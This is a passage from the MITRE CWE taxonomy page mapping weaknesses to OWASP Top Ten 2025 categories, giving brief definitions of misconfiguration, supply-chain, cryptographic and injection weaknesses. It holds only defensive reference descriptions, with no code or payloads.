1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 614 (Sensitive Cookie in HTTPS Session Without 'Secure' Attribute)
The Secure attribute for sensitive cookies in HTTPS sessions is not set.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') - (776)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 776 (Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion'))
The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities. XEE Billion Laughs Attack XML Bomb
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Permissive Cross-domain Security Policy with Untrusted Domains - (942)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1437 (OWASP Top Ten 2025 Category A02:2025 - Security Misconfiguration) > 942 (Permissive Cross-domain Security Policy with Untrusted Domains)
The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures - (1438)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1438 (OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures)
Weaknesses in this category are related to the A03 category "Software Supply Chain Failures" in the OWASP Top Ten 2025.
* Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - (1035)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1438 (OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures) > 1035 (OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities)
Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Unmaintained Third Party Components - (1104)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1438 (OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures) > 1104 (Use of Unmaintained Third Party Components)
The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reliance on Component That is Not Updateable - (1329)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1438 (OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures) > 1329 (Reliance on Component That is Not Updateable)
The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Dependency on Vulnerable Third-Party Component - (1395)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1438 (OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures) > 1395 (Dependency on Vulnerable Third-Party Component)
The product has a dependency on a third-party component that contains one or more known vulnerabilities.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unimplemented or Unsupported Feature in UI - (447)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1438 (OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures) > 447 (Unimplemented or Unsupported Feature in UI)
A UI function for a security feature appears to be supported and gives feedback to the user that suggests that it is supported, but the underlying functionality is not implemented.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Obsolete Function - (477)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1438 (OWASP Top Ten 2025 Category A03:2025 - Software Supply Chain Failures) > 477 (Use of Obsolete Function)
The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures - (1439)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures)
Weaknesses in this category are related to the A04 category "Cryptographic Failures" in the OWASP Top Ten 2025.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of a Cryptographic Primitive with a Risky Implementation - (1240)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 1240 (Use of a Cryptographic Primitive with a Risky Implementation)
To fulfill the need for a cryptographic primitive, the product implements a cryptographic algorithm using a non-standard, unproven, or disallowed/non-compliant cryptographic implementation.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Predictable Algorithm in Random Number Generator - (1241)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 1241 (Use of Predictable Algorithm in Random Number Generator)
The device uses an algorithm that is predictable and generates a pseudo-random number.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Weak Encoding for Password - (261)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 261 (Weak Encoding for Password)
Obscuring a password with a trivial encoding does not protect the password.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Following of a Certificate's Chain of Trust - (296)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 296 (Improper Following of a Certificate's Chain of Trust)
The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Transmission of Sensitive Information - (319)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 319 (Cleartext Transmission of Sensitive Information)
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
* Category Category - a CWE entry that contains a set of other entries that share a common characteristic. Key Management Errors - (320)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 320 (Key Management Errors)
Weaknesses in this category are related to errors in the management of cryptographic keys.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of Hard-coded Cryptographic Key - (321)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 321 (Use of Hard-coded Cryptographic Key)
The product uses a hard-coded, unchangeable cryptographic key.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Key Exchange without Entity Authentication - (322)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 322 (Key Exchange without Entity Authentication)
The product performs a key exchange with an actor without verifying the identity of that actor.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Reusing a Nonce, Key Pair in Encryption - (323)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 323 (Reusing a Nonce, Key Pair in Encryption)
Nonces should be used for the present occasion and only once.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of a Key Past its Expiration Date - (324)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 324 (Use of a Key Past its Expiration Date)
The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Cryptographic Step - (325)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 325 (Missing Cryptographic Step)
The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Inadequate Encryption Strength - (326)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 326 (Inadequate Encryption Strength)
The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Use of a Broken or Risky Cryptographic Algorithm - (327)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 327 (Use of a Broken or Risky Cryptographic Algorithm)
The product uses a broken or risky cryptographic algorithm or protocol.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Weak Hash - (328)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 328 (Use of Weak Hash)
The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack).
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Generation of Predictable IV with CBC Mode - (329)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 329 (Generation of Predictable IV with CBC Mode)
The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Use of Insufficiently Random Values - (330)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 330 (Use of Insufficiently Random Values)
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Insufficient Entropy - (331)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 331 (Insufficient Entropy)
The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Insufficient Entropy in PRNG - (332)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 332 (Insufficient Entropy in PRNG)
The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Small Space of Random Values - (334)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 334 (Small Space of Random Values)
The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) - (335)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 335 (Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG))
The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Same Seed in Pseudo-Random Number Generator (PRNG) - (336)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 336 (Same Seed in Pseudo-Random Number Generator (PRNG))
A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Predictable Seed in Pseudo-Random Number Generator (PRNG) - (337)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 337 (Predictable Seed in Pseudo-Random Number Generator (PRNG))
A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) - (338)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 338 (Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG))
The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Generation of Predictable Numbers or Identifiers - (340)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 340 (Generation of Predictable Numbers or Identifiers)
The product uses a scheme that generates numbers or identifiers that are more predictable than required.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Predictable Exact Value from Previous Values - (342)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 342 (Predictable Exact Value from Previous Values)
An exact value or random number can be precisely predicted by observing previous values.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Verification of Cryptographic Signature - (347)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 347 (Improper Verification of Cryptographic Signature)
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unprotected Transport of Credentials - (523)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 523 (Unprotected Transport of Credentials)
Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') - (757)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 757 (Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'))
A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of a One-Way Hash without a Salt - (759)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 759 (Use of a One-Way Hash without a Salt)
The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of a One-Way Hash with a Predictable Salt - (760)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 760 (Use of a One-Way Hash with a Predictable Salt)
The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of RSA Algorithm without OAEP - (780)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 780 (Use of RSA Algorithm without OAEP)
The product uses the RSA algorithm but does not incorporate Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Password Hash With Insufficient Computational Effort - (916)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1439 (OWASP Top Ten 2025 Category A04:2025 - Cryptographic Failures) > 916 (Use of Password Hash With Insufficient Computational Effort)
The product generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2025 Category A05:2025 - Injection - (1440)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection)
Weaknesses in this category are related to the A05 category "Injection" in the OWASP Top Ten 2025.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Struts: Incomplete validate() Method Definition - (103)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 103 (Struts: Incomplete validate() Method Definition)
The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Struts: Form Bean Does Not Extend Validation Class - (104)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 104 (Struts: Form Bean Does Not Extend Validation Class)
If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing XML Validation - (112)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 112 (Missing XML Validation)
The product accepts XML from an untrusted source but does not validate the XML against the proper schema.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') - (113)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 113 (Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'))
The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers. HTTP Request Splitting HTTP Response Splitting
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Process Control - (114)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 114 (Process Control)
Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Misinterpretation of Input - (115)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 115 (Misinterpretation of Input)
The product misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Encoding or Escaping of Output - (116)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 116 (Improper Encoding or Escaping of Output)
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Output Sanitization Output Validation Output Encoding
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Improper Validation of Array Index - (129)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 129 (Improper Validation of Array Index)
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. out-of-bounds array index index-out-of-range array index underflow
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Handling of Invalid Use of Special Elements - (159)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 159 (Improper Handling of Invalid Use of Special Elements)
The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Input Validation - (20)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 20 (Improper Input Validation)
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') - (470)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 470 (Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection'))
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code. Reflection Injection
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Critical Public Variable Without Final Modifier - (493)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 493 (Critical Public Variable Without Final Modifier)
The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Public Static Field Not Marked Final - (500)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 500 (Public Static Field Not Marked Final)
An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. SQL Injection: Hibernate - (564)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 564 (SQL Injection: Hibernate)
Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Externally Controlled Reference to a Resource in Another Sphere - (610)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 610 (Externally Controlled Reference to a Resource in Another Sphere)
The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Data within XPath Expressions ('XPath Injection') - (643)
1450 (Weaknesses in OWASP Top Ten RC1 (2025)) > 1440 (OWASP Top Ten 2025 Category A05:2025 - Injection) > 643 (Improper Neutralization of Data within XPath Expressions ('XPath Injection'))
The product uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.
